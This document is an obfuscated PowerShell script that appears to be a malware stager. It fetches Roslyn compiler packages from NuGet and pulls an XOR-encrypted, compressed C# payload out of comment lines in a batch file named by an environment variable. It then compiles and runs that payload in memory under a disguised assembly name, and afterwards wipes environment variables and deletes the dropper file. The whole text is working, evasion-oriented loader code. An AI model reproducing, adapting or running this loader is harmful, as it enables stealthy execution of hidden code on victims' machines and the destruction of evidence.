$ErrorActionPreference=('St'+'op') $_iv=('Inv'+'oke') $_lm=&('ie'+'x')(('$Exec'+'utionC'+'ontext.'+'Session'+'State.L'+'anguage'+'Mode')) if($_lm -ne ('egaugnaLlluF'[-1..(-12)]-join'')){return} if($PSVersionTable.PSVersion.Major -lt 5){return} $_tspm=[type](('reS.teN'[-1..(-7)]-join'')+'vic'+('MtnioPe'[-1..(-7)]-join'')+('regana'[-1..(-6)]-join'')) $_tspt=[type](('{0}{1}'-f'N','et.Sec')+'uri'+('tyP'+'roto')+('epyTloc'[-1..(-7)]-join'')) $_tcc=[type](('{0}{1}'-f'Net','.Cre')+('de'+'nt')+('i'+'alCa')+'che') if(4 -eq 0){$_a36='init'} $_tad=[type]('App'+('{0}{1}'-f'Domai','n')) $_tms=[type](('omeM.OI'[-1..(-7)]-join'')+('r'+'yStr')+'eam') $_tte=[type](('{0}{1}'-f'T','ext.En')+('idoc'[-1..(-4)]-join'')+'ng') $_tts=[type](('{0}{1}'-f'Te','xt.St')+'ring'+'Bui'+'lder') $_tis=[type](('{0}{1}'-f'IO.','St')+'ream') $_tspm::SecurityProtocol=$_tspt::Tls12 $_ra=[type]::GetType((('R.metsyS'[-1..(-8)]-join'')+('elfe'[-1..(-4)]-join'')+('A.noitc'[-1..(-7)]-join'')+('ssem'+'bly'))) try{[void][System.Net.Http.HttpClient]}catch{try{[void]$_ra.GetMethod('Load',[type[]]@([string])).$_iv($null,@(('Syste'+'m.Net'+'.Http')))}catch{try{Add-Type -AssemblyName ('Syste'+'m.Net'+'.Http') -EA Stop}catch{return}}} $_thch=[type]('Net.Htt'+'p.Htt'+'pCli'+'entHan'+'dler') $_thc=[type]('Net.Htt'+'p.Htt'+'pCli'+'ent') $h=$_thch::new() $h.Proxy=([type](('Net'+'.Web')+('Requ'+'est')))::GetSystemWebProxy() $h.Proxy.Credentials=$_tcc::DefaultCredentials $w=$_thc::new($h) $loaded=@{} $_tad::CurrentDomain.add_AssemblyResolve({param($s,$e);$n=$e.Name.Split(',')[0];if($loaded.ContainsKey($n)){return $loaded[$n]};return $null}) $asmT=[type]::GetType((('R.metsyS'[-1..(-8)]-join'')+('elfe'[-1..(-4)]-join'')+('A.noitc'[-1..(-7)]-join'')+('ssem'+'bly'))) $ldM=$asmT.GetMethod('Load',[type[]]@([byte[]])) $_lds=$asmT.GetMethod('Load',[type[]]@([string])) try{[void]$_lds.$_iv($null,@((('I.metsyS'[-1..(-8)]-join'')+('{0}{1}'-f'O.C','ompr')+('e'+'ssion')+',Versi'+'on=4.0'+'.0.0,Cu'+'lture=n'+'eutral,P'+'ublicKe'+'yToken=b'+'77a5c56'+'1934e08'+'9')))}catch{return} $_ub=('ht'+('tps://'+'a')+('pi.n'+'u')+('{0}{1}'-f'g','et.org')+'/'+('talf-3v'[-1..(-7)]-join'')+'co'+('{0}{1}'-f'ntaine','r')+'/') $_uf=('ht'+('lg//:spt'[-1..(-8)]-join'')+('dclabo'[-1..(-6)]-join'')+('gun.n'[-1..(-5)]-join'')+('gro.te'[-1..(-6)]-join'')+'/'+('{0}{1}'-f'p','acka')+('{0}{1}'-f'ge','s')+'/') $_cp=1 $_gba=('Get'+'Byte'+'Arr'+'ayAs'+'ync') $_zat=(('{0}{1}'-f'IO.C','omp')+'re'+('{0}{1}'-f'ssi','on.Z')+'ip'+('Arc'+'hive')) $_zmt=(('{0}{1}'-f'IO.C','omp')+'re'+('{0}{1}'-f'ssi','on.Z')+'ip'+('Arc'+'hive')+'Mode') $_p0=(('{0}{1}'-f'syste','m')+('.bu')+('ffers')) $_v0=(('{0}{1}'-f'4.5.','1')) $_d0=(('{0}{1}'-f'li','b/')+('netsta')+('nd'+'ar')+('d2'+'.0/')+('Sy'+'ste')+('m.Buff')+('ers.dll')) $_p1=(('{0}{1}'-f's','yste')+('{0}{1}'-f'm.n','um')+('eri')+('cs.')+('vec')+('{0}{1}'-f'tor','s')) $_v1=(('4'+'.5.0')) $_d1=(('lib'+'/')+('nets')+('{0}{1}'-f'ta','nd')+('a'+'rd2')+('{0}{1}'-f'.0/S','y')+('stem')+('{0}{1}'-f'.','Nume')+('rics.Ve')+('ctor')+('{0}{1}'-f's.dl','l')) $_p2=(('{0}{1}'-f'sy','st')+('e'+'m.r')+('unt')+('ime'+'.co')+('mp'+'iler')+('serv')+('ic'+'es')+('.unsafe')) $_v2=(('6.0.0')) $_d2=(('{0}{1}'-f'lib/','n')+('ets'+'tand')+('{0}{1}'-f'ar','d2.')+('0/S'+'yst')+('em.Run')+('{0}{1}'-f'time.','C')+('ompi'+'le')+('rSer')+('vic'+'e')+('s.U'+'nsa')+('fe.'+'dll')) $_p3=(('system')+('{0}{1}'-f'.me','mory')) $_v3=(('{0}{1}'-f'4.','5.5')) $_d3=(('lib/ne')+('tstanda')+('{0}{1}'-f'rd2','.0/Sy')+('{0}{1}'-f'stem','.')+('Mem')+('ory')+('{0}{1}'-f'.d','ll')) $_p4=(('sys')+('tem.thr')+('e'+'adin')+('{0}{1}'-f'g','.tas')+('{0}{1}'-f'ks','.ext')+('ension'+'s')) $_v4=(('{0}{1}'-f'4','.5.4')) $_d4=(('{0}{1}'-f'lib/','nets')+('tandar')+('d2.0')+('/System')+('.Thr')+('{0}{1}'-f'ead','i')+('n'+'g.Ta')+('{0}{1}'-f'sk','s.Ex')+('ten')+('sions')+('.dll')) $_p5=(('sy'+'st')+('{0}{1}'-f'em','.co')+('ll'+'ect')+('i'+'ons')+('.im')+('{0}{1}'-f'm','uta')+('ble')) $_v5=(('{0}{1}'-f'9','.0.0')) $_d5=(('lib')+('/netst'+'a')+('n'+'dard')+('2.0/Sy')+('{0}{1}'-f's','tem')+('.Col')+('lec')+('tio')+('ns.')+('{0}{1}'-f'Im','mut')+('{0}{1}'-f'able.dl','l')) $_p6=(('syst'+'e')+('m.tex')+('t.encodi')+('{0}{1}'-f'n','g.co')+('depages')) $_v6=(('7.0'+'.0')) $_d6=(('{0}{1}'-f'l','ib/')+('netstand')+('ard2')+('.0/S'+'y')+('stem.T')+('ext.E'+'n')+('{0}{1}'-f'codin','g.')+('{0}{1}'-f'Cod','e')+('Pa'+'ges.')+('dll')) $_p7=(('s'+'yste')+('m.r')+('eflec')+('tio'+'n.')+('{0}{1}'-f'm','etadata')) $_v7=(('9.0.'+'0')) $_d7=(('lib/n')+('etstan')+('dard')+('{0}{1}'-f'2.0','/Syst')+('em.Refl')+('{0}{1}'-f'ec','tio')+('n.M'+'et')+('{0}{1}'-f'adata','.')+('dll')) $_p8=(('micr')+('{0}{1}'-f'o','sof')+('t'+'.codea')+('nal')+('ysis.')+('{0}{1}'-f'commo','n')) $_v8=(('4.14.0')) $_d8=(('lib/nets')+('tan')+('dard2.')+('0/'+'Micr')+('oso')+('ft.')+('Code')+('Ana'+'ly')+('sis.dll')) $_p9=(('mic')+('ros')+('oft')+('.co'+'d')+('{0}{1}'-f'eana','lysi')+('s.c'+'sh')+('arp')) $_v9=(('{0}{1}'-f'4.14','.0')) $_d9=(('lib/net')+('sta')+('{0}{1}'-f'ndard','2.0')+('/M'+'ic')+('rosof')+('t.C'+'od')+('{0}{1}'-f'eA','nal')+('ysi')+('{0}{1}'-f's.CSh','a')+('rp.dll')) $_pa=($_ub+$_p0+'/'+$_v0+'/'+$_p0+'.'+$_v0+('.nu'+'pkg')) $_fa=($_uf+$_p0+'.'+$_v0+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d0) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p1+'/'+$_v1+'/'+$_p1+'.'+$_v1+('.nu'+'pkg')) $_fa=($_uf+$_p1+'.'+$_v1+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d1) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p2+'/'+$_v2+'/'+$_p2+'.'+$_v2+('.nu'+'pkg')) $_fa=($_uf+$_p2+'.'+$_v2+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();if($false){$_b38=6491};break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d2) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p3+'/'+$_v3+'/'+$_p3+'.'+$_v3+('.nu'+'pkg')) $_fa=($_uf+$_p3+'.'+$_v3+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d3) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p4+'/'+$_v4+'/'+$_p4+'.'+$_v4+('.nu'+'pkg')) $_fa=($_uf+$_p4+'.'+$_v4+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d4) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p5+'/'+$_v5+'/'+$_p5+'.'+$_v5+('.nu'+'pkg')) $_fa=($_uf+$_p5+'.'+$_v5+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d5) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p6+'/'+$_v6+'/'+$_p6+'.'+$_v6+('.nu'+'pkg')) $_fa=($_uf+$_p6+'.'+$_v6+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d6) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p7+'/'+$_v7+'/'+$_p7+'.'+$_v7+('.nu'+'pkg')) $_fa=($_uf+$_p7+'.'+$_v7+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d7) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p8+'/'+$_v8+'/'+$_p8+'.'+$_v8+('.nu'+'pkg')) $_fa=($_uf+$_p8+'.'+$_v8+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d8) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $_pa=($_ub+$_p9+'/'+$_v9+'/'+$_p9+'.'+$_v9+('.nu'+'pkg')) $_fa=($_uf+$_p9+'.'+$_v9+('.nu'+'pkg')) $dl=$null for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_fa,$_pa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}} if($null -eq $dl){for($r=0;$r -lt 3;$r++){try{$dl=$w.$_gba(@($_pa,$_fa)[$_cp]).GetAwaiter().GetResult();break}catch{[Threading.Thread]::Sleep((2 -shl $r)*1000)}};if($null -ne $dl){$_cp=1-$_cp}} if($null -eq $dl){return} $zms=$_tms::new($dl) $za=[Activator]::CreateInstance([type]$_zat,$zms,([type]$_zmt)::Read) $ze=$za.GetEntry($_d9) if($ze -eq $null){$za.Dispose();$zms.Dispose();return} $ems=$_tms::new() $es=$ze.Open() $es.CopyTo($ems) $es.Dispose() $db=$ems.ToArray() $ems.Dispose() $za.Dispose() $zms.Dispose() $za=$null $zms=$null $ems=$null $la=$ldM.$_iv($null,@(,$db)) $loaded[$la.GetName().Name]=$la $w=$null $f=[IO.File]::ReadAllText($env:_k) $_bp=$env:_k Remove-Item env:_* -Force -EA SilentlyContinue $env:_k=$_bp Remove-Variable _bp -EA SilentlyContinue $mk='qpcbzaeg' $lines=$f.Split([char]10) $on=$false $bld=$_tts::new() foreach($ln in $lines){$cl=$ln.Replace('','').Replace('""','').TrimStart();if($cl.Length -gt 4 -and $cl.Substring(0,4) -ieq 'rem '){$rl=$cl.Substring(4).Trim([char]13,[char]32);if($rl -eq $mk){if($on){break}else{$on=$true;continue}};if($on -and $rl -match '[A-Za-z0-9+/=]+$'){[void]$bld.Append($rl)}}} $b64=$bld.ToString() if($b64.Length -eq 0){return} $_fb=('Fr'+('saBmo'[-1..(-5)]-join'')+('rtS46e'[-1..(-6)]-join'')+'ing') $enc=[Convert]::$_fb.$_iv($b64) $_xh='F5FE2F8044592D1304AD9778775EB08DBAFD6E7B3F8C0B615758E6623DDCD13D' $xk=[byte[]]::new(32) for($i=0;$i -lt 32;$i++){$xk[$i]=[byte]('0x'+$_xh.Substring($i*2,2))} $dec=[byte[]]::new($enc.Length) for($i=0;$i -lt $enc.Length;$i++){$dec[$i]=$enc[$i] -bxor $xk[$i -band 31]} $dms=$_tms::new($dec) $_dst=(('{0}{1}'-f'IO.C','omp')+'re'+('D.noiss'[-1..(-7)]-join'')+'efl'+('ate'+'Stre')+'am') $_cmt=(('{0}{1}'-f'IO.C','omp')+'re'+('ssion'+'.C')+('{0}{1}'-f'om','pre')+('{0}{1}'-f'ss','ionMo')+'de') $ds=[Activator]::CreateInstance([type]$_dst,$dms,([type]$_cmt)::Decompress) $oms=$_tms::new() $ds.CopyTo($oms) $src=$_tte::UTF8.GetString($oms.ToArray()) $ds.Dispose() $dms.Dispose() $oms.Dispose() $_tre=[type]('Runtim'+'e.Inter'+'opServi'+'ces.Run'+'timeEnvi'+'ronment') $_grd=(('GetR'+'un')+('t'+'imeDi')+('yrotcer'[-1..(-7)]-join'')) $gac=$_tre::$_grd.$_iv() $_ca=(('Micr'+'o')+('s'+'oft.Co')+('ylanAed'[-1..(-7)]-join'')+'sis') $_cac=$_ca+('prahSC.'[-1..(-7)]-join'') $_bft=('Refl'+('e'+'ction.')+'Bin'+('alFgnid'[-1..(-7)]-join'')+'gs') $_spb=[Enum]::Parse([type]$_bft,('cilbuP,citatS'[-1..(-13)]-join'')) $_ipb=[Enum]::Parse([type]$_bft,('Instance'+',Public')) $_sipb=[Enum]::Parse([type]$_bft,('{0}{1}'-f'Static,Public,No','nPublic')) $stT=$loaded[$_cac].GetType($_cac+('prahSC.'[-1..(-7)]-join'')+('xatnyS'[-1..(-6)]-join'')+('{0}{1}'-f'Tr','ee')) $_g84=758 $_g84=$_g84+1 $ptM=$null foreach($m in $stT.GetMethods($_spb)){if($m.Name -eq ('ParseTe'+'xt') -and $m.GetParameters()[0].ParameterType -eq [string] -and $m.GetParameters().Length -eq 5){$ptM=$m;break}} if($ptM -eq $null){return} $_tct=[type]('Thread'+'ing.Can'+'cellat'+'ionTok'+'en') $tree=$ptM.$_iv($null,@($src,$null,'',$null,$_tct::None)) $stBaseT=$loaded[$_ca].GetType($_ca+'.'+('xatnyS'[-1..(-6)]-join'')+('{0}{1}'-f'Tr','ee')) $stArr=[Array]::CreateInstance($stBaseT,1) $stArr[0]=$tree $mrT=$loaded[$_ca].GetType($_ca+'.'+('tadateM'[-1..(-7)]-join'')+'a'+('nerefeR'[-1..(-7)]-join'')+'ce') $cfM=$null foreach($m in $mrT.GetMethods($_spb)){if($m.Name -eq ('{0}{1}'-f'CreateFro','mFile') -and $m.GetParameters().Length -eq 3){$cfM=$m;break}} if($cfM -eq $null){return} $refs=[Array]::CreateInstance($mrT,3) $refs[0]=$cfM.$_iv($null,@([IO.Path]::Combine($gac,('mscorl'+'ib.dll')),[type]::Missing,[type]::Missing)) $refs[1]=$cfM.$_iv($null,@([IO.Path]::Combine($gac,('lld.metsyS'[-1..(-10)]-join'')),[type]::Missing,[type]::Missing)) $refs[2]=$cfM.$_iv($null,@([IO.Path]::Combine($gac,('System.Cor'+'e.dll')),[type]::Missing,[type]::Missing)) $ccT=$loaded[$_cac].GetType($_cac+('prahSC.'[-1..(-7)]-join'')+('{0}{1}'-f'Com','pil')+'ation') $okT=$loaded[$_ca].GetType($_ca+'.'+('{0}{1}'-f'O','utput')+'Kind') $okDll=[Enum]::ToObject($okT,2) $copT=$loaded[$_cac].GetType($_cac+('prahSC.'[-1..(-7)]-join'')+('{0}{1}'-f'Com','pil')+('{0}{1}'-f'ation','Op')+'tions') $copCtors=$copT.GetConstructors() $copCtor=$null $maxP=0 foreach($c in $copCtors){$pc=$c.GetParameters().Length;if($pc -gt $maxP){$maxP=$pc;$copCtor=$c}} if($copCtor -eq $null){return} $copPrms=$copCtor.GetParameters() $copArgs=[object[]]::new($copPrms.Length) $copArgs[0]=$okDll for($ci=1;$ci -lt $copPrms.Length;$ci++){$copArgs[$ci]=[type]::Missing} $cop=$copCtor.$_iv($copArgs) $crM=$null foreach($m in $ccT.GetMethods($_spb)){if($m.Name -eq ('Creat'+'e') -and $m.GetParameters().Length -eq 4){$crM=$m;break}} if($crM -eq $null){return} $crA=[object[]]::new(4) $crA[0]='System.IO.Packaging.Resources' $crA[1]=$stArr $crA[2]=$refs $crA[3]=$cop $cc=$crM.$_iv($null,$crA) $cms=$_tms::new() $emM=$null $maxEP=0 foreach($m in $cc.GetType().GetMethods($_ipb)){if($m.Name -eq ('Emi'+'t') -and $m.GetParameters()[0].ParameterType -eq $_tis){$pc=$m.GetParameters().Length;if($pc -gt $maxEP){$maxEP=$pc;$emM=$m}}} if($emM -eq $null){return} $emPrms=$emM.GetParameters() $emArgs=[object[]]::new($emPrms.Length) $emArgs[0]=$cms for($ei=1;$ei -lt $emPrms.Length;$ei++){if($emPrms[$ei].ParameterType.IsValueType){$_ut=[Nullable]::GetUnderlyingType($emPrms[$ei].ParameterType);if($_ut){$emArgs[$ei]=[Activator]::CreateInstance($_ut)}else{$emArgs[$ei]=[Activator]::CreateInstance($emPrms[$ei].ParameterType)}}} $emR=$emM.$_iv($cc,$emArgs) $suc=$emR.GetType().GetProperty(('S'+'uccess')).GetValue($emR) if(-not $suc){return} $cab=$ldM.$_iv($null,@(,$cms.ToArray())) $ct=$cab.GetType('_vz') if($ct -eq $null){return} $cm=$ct.GetMethod('_hm',$_sipb) if($cm -eq $null){return} $_bd=$env:_k $_rs=[RunspaceFactory]::CreateRunspace() $_rs.Open() $_ps=[PowerShell]::Create() $_ps.Runspace=$_rs $null=$_ps.AddScript('param($m);try{$m.Invoke($null,$null)}catch{}').AddArgument($cm) $_h=$_ps.BeginInvoke() [Threading.Thread]::Sleep(2000) Remove-Item env:_* -Force -EA SilentlyContinue $_ps.EndInvoke($_h) try{[IO.File]::Delete($_bd)}catch{} $_rs.Dispose() $_ps.Dispose() Remove-Variable _bd,_rs,_ps,_h -EA SilentlyContinue